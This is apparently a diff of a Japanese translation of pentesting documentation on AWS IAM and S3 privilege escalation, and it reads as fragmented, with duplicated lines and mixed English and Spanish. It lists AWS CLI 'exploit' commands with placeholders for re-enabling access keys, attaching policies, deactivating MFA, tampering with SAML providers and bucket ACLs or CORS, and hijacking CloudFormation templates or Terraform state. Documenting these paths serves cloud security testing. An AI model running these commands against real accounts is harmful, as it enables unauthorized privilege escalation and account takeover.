### **`iam:UpdateAccessKey`**
|
||||
|
||||
無効化された access key を再び有効化できる。攻撃者がその無効化された access key を所持している場合、不正アクセスを招く可能性がある。
|
||||
無効化された access key を再度有効化できるため、攻撃者がその無効なキーを所持している場合、不正アクセスにつながる可能性がある。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**影響:** access keys を再有効化することによる直接的な権限昇格。
|
||||
**Impact:** 直接的な権限昇格（access keys を再有効化することで）。
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
特定の AWS サービス（例: CodeCommit、Amazon Keyspaces）向けの認証情報を生成またはリセットすることを許可し、関連ユーザーの権限を継承します。
|
||||
特定の AWS サービス（例: CodeCommit、Amazon Keyspaces）向けの認証情報を生成またはリセットできるようにし、関連付けられたユーザーの権限を継承します。
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
```
|
||||
**リセット用Exploit:**
|
||||
**リセット用エクスプロイト:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impact:** ユーザーのサービス権限範囲内での直接的な権限昇格。
|
||||
**Impact:** ユーザーのサービス権限内での直接的な権限昇格。
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
ユーザーやグループにポリシーをアタッチでき、アタッチされたポリシーの権限を継承して直接的に権限を昇格させることができます。
|
||||
ユーザーまたはグループにポリシーをアタッチすることを許可し、アタッチされたポリシーの権限を継承することで直接的に権限を昇格させます。
|
||||
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
@@ -93,17 +93,17 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**影響:** ポリシーが付与するあらゆる権限への直接的な privilege escalation。
|
||||
**Impact:** ポリシーが付与する任意の権限へ直接昇格可能。
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
ロール、ユーザー、グループに対してポリシーをアタッチまたは設定することを許可し、追加の権限を付与することで直接的な privilege escalation を可能にします。
|
||||
ロール、ユーザー、グループにポリシーをアタッチ／設定でき、追加権限を付与して直接的な権限昇格を可能にします。
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Inline PoliciesのExploit:**
|
||||
**インラインポリシーの悪用:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -127,28 +127,28 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
]
|
||||
}
|
||||
```
|
||||
**影響:** ポリシーを通じて権限を追加することで発生する直接的な権限昇格。
|
||||
**影響:** ポリシーを通じて権限を追加することで直接的な権限昇格を引き起こす。
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
自身を IAM グループに追加することを可能にし、グループの権限を継承することで権限を昇格させます。
|
||||
自分を IAM グループに追加できるようにし、グループの権限を継承することで権限が昇格する。
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**影響:** グループの権限レベルへの直接的な権限昇格。
|
||||
**Impact:** グループの権限と同等のレベルまで直接的に権限を昇格させることができる。
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
ロールの assume role policy document を変更できる権限を与え、そのロールおよび関連する権限を引き受け（assume）可能にします。
|
||||
ロールの assume role policy ドキュメントを変更できるため、そのロールとその関連権限を引き受けられるようになる。
|
||||
|
||||
**悪用:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
ポリシーが次のようになっており、ユーザーにそのロールを引き受ける権限を付与している場合：
|
||||
ポリシーが次のようになっており、ユーザーにロールを引き受ける許可を与えている場合：
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -163,38 +163,38 @@ aws iam update-assume-role-policy --role-name <role_name> \
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** 任意のロールの権限を引き受けることで直接的な権限昇格が可能になる。
|
||||
**影響:** 任意のロールの権限を引き継ぐことで、直接的な権限昇格が可能になります。
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
SSH公開鍵をアップロードして CodeCommit に対して認証を行ったり、MFAデバイスを無効化したりすることを許可し、結果として間接的な権限昇格につながる可能性があります。
|
||||
CodeCommit に対する認証用の SSH 公開鍵のアップロードと、MFA デバイスの無効化を許可し、結果的に間接的な権限昇格を招く可能性があります。
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**MFAを無効化するためのエクスプロイト：**
|
||||
**MFA無効化のExploit:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**影響:** CodeCommit へのアクセスを有効化したり、MFA 保護を無効化したりすることで、間接的な特権昇格を引き起こす可能性があります。
|
||||
**影響:** CodeCommit へのアクセスを有効にしたり、MFA 保護を無効にしたりすることで、間接的な privilege escalation が発生する可能性があります。
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
MFA デバイスの再同期を許可し、MFA 保護の操作により間接的な特権昇格を招く可能性があります。
|
||||
MFA デバイスの再同期を許可します。MFA 保護を操作することで、間接的な privilege escalation を引き起こす可能性があります。
|
||||
|
||||
**Bash コマンド:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** MFA devices を追加または操作することでの間接的な権限昇格。
|
||||
**Impact:** MFAデバイスの追加または操作による間接的な特権昇格。
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
これらの権限があれば、**SAML 接続の XML メタデータを変更する**ことができます。 その後、**SAML federation** を悪用して、これを信頼している任意の **role** で **login** することができます。
|
||||
これらの権限があれば、**SAML connectionのXMLメタデータを変更する**ことができます。そうすると、**SAML federation**を悪用して、**それを信頼している任意のrole**で**login**することができます。
|
||||
|
||||
ただし、こうすると **正規のユーザーは login できなくなる** 点に注意してください。 しかし、XML を取得できるため、自分のものを差し替えて **login** し、以前の設定を元に戻すように再構成することができます。
|
||||
ただし、これを行うと**正規のユーザーはloginできなくなります**。とはいえ、XMLを取得できるので、自分のものを入れてloginし、以前の設定に戻すように構成することが可能です。
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: SAML メタデータを生成し、指定した role でログインできるツール
|
||||
> TODO: 指定したロールでログインできる SAML metadata を生成するツール
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
（未確認）もし attacker がこれらの **permissions** を持っていれば、provider を信頼するすべての roles にログインできるように新しい **Thumbprint** を追加できる可能性があります。
|
||||
(確かではない) 攻撃者がこれらの**権限**を持っている場合、新しい**Thumbprint**を追加してプロバイダーを信頼するすべてのロールにログインできるようにする可能性がある。
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
この権限により、攻撃者はユーザーの permissions boundary を更新できるため、通常は既存の権限で制限されている操作を実行できるようになり、権限がエスカレートする可能性があります。
|
||||
この権限により攻撃者はユーザーの permissions boundary を更新できるようになり、通常は既存の権限によって制限されている操作を実行できるようにして権限を昇格させる可能性があります。
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -249,8 +249,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
iam:PutRolePermissionsBoundary を持つ主体は、既存の role に permissions boundary を設定できます。
|
||||
この権限を持つ者が role の permissions boundary を変更するとリスクが生じます：操作を不適切に制限してサービスの停止を引き起こす可能性があるか、許容的な permissions boundary を付与した場合は role が実行できる操作が実質的に拡大し、権限昇格を招く可能性があります。
|
||||
`iam:PutRolePermissionsBoundary` を持つ主体は、既存のロールに permissions boundary を設定できます。問題は、この権限を持つ者がロールの permissions boundary を変更した場合に発生します：操作を不適切に制限してサービスの中断を引き起こす可能性がある一方、許容的な permissions boundary をアタッチすると、実質的にロールができることを拡大して権限昇格を引き起こす可能性があります。
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
これらの permissions を持つ attacker が対象の buckets に対して hijack resources や escalate privileges を行える可能性があります。
|
||||
これらの権限を対象のバケットに対して持つ攻撃者は、リソースを乗っ取り権限を昇格させることができる可能性があります。
|
||||
|
||||
例えば、**permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" を持つ attacker は deployment を hijack できます。アクセスは以下のポリシーで付与できます:
|
||||
例えば、"cf-templates-nohnwfax6a6i-us-east-1" という cloudformation バケットに対する **権限** を攻撃者が持っている場合、デプロイを乗っ取ることができます。アクセスは以下のポリシーで付与できます:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,29 +34,30 @@
|
||||
]
|
||||
}
|
||||
```
|
||||
そしてこのハイジャックが可能なのは、テンプレートがバケットにアップロードされてからテンプレートがデプロイされるまでに**ごく短い時間ウィンドウが存在する**ためです。攻撃者は自分のアカウントに**lambda function**を作成し、**bucket notification**が送信されたときにトリガーして、その**bucket**の**content**を**hijacks**するだけかもしれません。
|
||||
And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
|
||||
|
||||
.png>)
|
||||
|
||||
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
|
||||
詳細はオリジナルの調査を参照してください: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
これらはS3からオブジェクトを取得およびアップロードするための権限です。AWS内（および外部）で動作するいくつかのサービスは、**config files**を保存するためにS3ストレージを利用します。\
|
||||
これらに対して**読み取り権限**を持つ攻撃者は、そこに**機密情報**を見つける可能性があります。\
|
||||
これらに対して**書き込み権限**を持つ攻撃者は、データを改ざんしてサービスを悪用し、権限昇格を試みることができます。\
|
||||
いくつかの例を示します：
|
||||
これらは **get and upload objects to S3** 権限です。AWS 内外のいくつかのサービスは **config files** を保存するために S3 ストレージを利用します。\
|
||||
攻撃者がそれらに対して **read access** を持っていれば、**sensitive information** を発見する可能性があります。\
|
||||
攻撃者がそれらに対して **write access** を持っていれば、**modify the data to abuse some service and try to escalate privileges** するためにデータを改変できる可能性があります。\
|
||||
いくつかの例を以下に示します:
|
||||
|
||||
- EC2インスタンスが**user data in a S3 bucket**を保存している場合、攻撃者はそれを改変して**execute arbitrary code inside the EC2 instance**させることができます。
|
||||
- もし EC2 インスタンスが **user data in a S3 bucket** を保存している場合、攻撃者はそれを改変して **execute arbitrary code inside the EC2 instance** させることができます。
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
|
||||
|
||||
[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html)のstateファイルがクラウドプロバイダのblobストレージ（例：AWS S3）に保存されることは非常に一般的です。stateファイルのサフィックスは`.tfstate`であり、バケット名からterraform stateファイルを格納していることが分かることも多いです。通常、各AWSアカウントにはアカウントの状態を示すstateファイルを保存するためのそのようなバケットが1つあります。現実のアカウントでは、ほとんどの場合すべての開発者が`s3:*`を持っていたり、ビジネスユーザが`s3:Put*`を持っていたりします。
|
||||
It is very common that the [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account.
|
||||
Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`.
|
||||
|
||||
したがって、これらのファイルに対する権限を持っている場合、pipeline内で`terraform`の権限（多くの場合`AdministratorAccess`）でRCEを得られる攻撃ベクトルがあります。これによりクラウドアカウントの管理者になれる場合が多いです。また、そのベクトルを使って`terraform`に正当なリソースを削除させることでDoS攻撃を行うこともできます。
|
||||
So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of `terraform` - most of the time `AdministratorAccess`, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making `terraform` delete legitimate resources.
|
||||
|
||||
直接使えるエクスプロイトコードについては、*Terraform Security*ページの*Abusing Terraform State Files*セクションの説明に従ってください：
|
||||
Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
|
||||
|
||||
{{#ref}}
|
||||
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
|
||||
@@ -64,7 +65,7 @@ The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
攻撃者が**同じアカウントからの**ものである必要があり、そうでない場合はエラー `The specified method is not allowed will trigger` が発生しますが、この権限を持っているとバケットに対して自身にさらに多くの権限を付与できるようになります。これによりバケットの読み取り、書き込み、変更、削除、公開などが可能になります。
|
||||
攻撃者は **from the same account** である必要があり、そうでない場合はエラー `The specified method is not allowed will trigger` が発生しますが、この権限があれば当該バケットに対して自身にさらに多くの権限を付与し、読み取り、書き込み、変更、削除、公開などを行えるようになります。
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -122,8 +123,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
attackerはこれらの権限を悪用して特定の buckets に対して**より多くのアクセス権を自分に付与する**ことができます。\
|
||||
なお、attackerは same account に所属している必要はありません。さらに、write access
|
||||
攻撃者はこれらの権限を悪用して、特定の buckets に対するアクセスを**攻撃者自身により多く付与する**ことができます。\ 攻撃者は同じアカウントに所属している必要はありません。さらに、write access
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
@@ -150,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
攻撃者はこれらの権限を悪用して、バケット内の特定のオブジェクトに対するアクセス権を拡大できる。
|
||||
攻撃者はこれらの権限を悪用して、バケット内の特定のオブジェクトに対する自分のアクセス権を拡大することができます。
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
@@ -177,16 +177,16 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
これらの権限を持つ攻撃者は、特定のオブジェクトバージョンに対してAclを設定できると想定されます。
|
||||
これらの権限を持つ攻撃者は、特定のオブジェクトバージョンに対して Acl を設定できると想定されます。
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
s3:PutBucketCORS 権限を持つ攻撃者は、バケットの CORS (Cross-Origin Resource Sharing) 設定を変更できます。これにより、どのウェブドメインがエンドポイントにアクセスできるかが制御されます。もし寛容なポリシーを設定すれば、任意のウェブサイトがバケットに対して直接リクエストを行い、ブラウザ上でレスポンスを読み取ることが可能になります。
|
||||
s3:PutBucketCORS 権限を持つ攻撃者は、バケットの CORS (Cross-Origin Resource Sharing) 設定を変更できます。この設定はどの Web ドメインがバケットのエンドポイントにアクセスできるかを制御します。寛容なポリシーを設定すると、任意のサイトがブラウザ経由で直接バケットにリクエストを送り、レスポンスを読み取れるようになります。
|
||||
|
||||
つまり、バケットからホストされるウェブアプリの認証済みユーザーが攻撃者のサイトを訪れた場合、攻撃者は寛容な CORS ポリシーを悪用し、アプリ次第ではユーザーのプロファイルデータにアクセスしたり、アカウントを乗っ取ったりする可能性があります。
|
||||
つまり、バケットからホストされている Web アプリの認証済みユーザーが攻撃者のサイトを訪れた場合、攻撃者は寛容な CORS ポリシーを悪用して、アプリによってはユーザーのプロファイルデータにアクセスしたり、アカウントを乗っ取ったりする可能性があります。
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
|
||||
Reference in New Issue
Block a user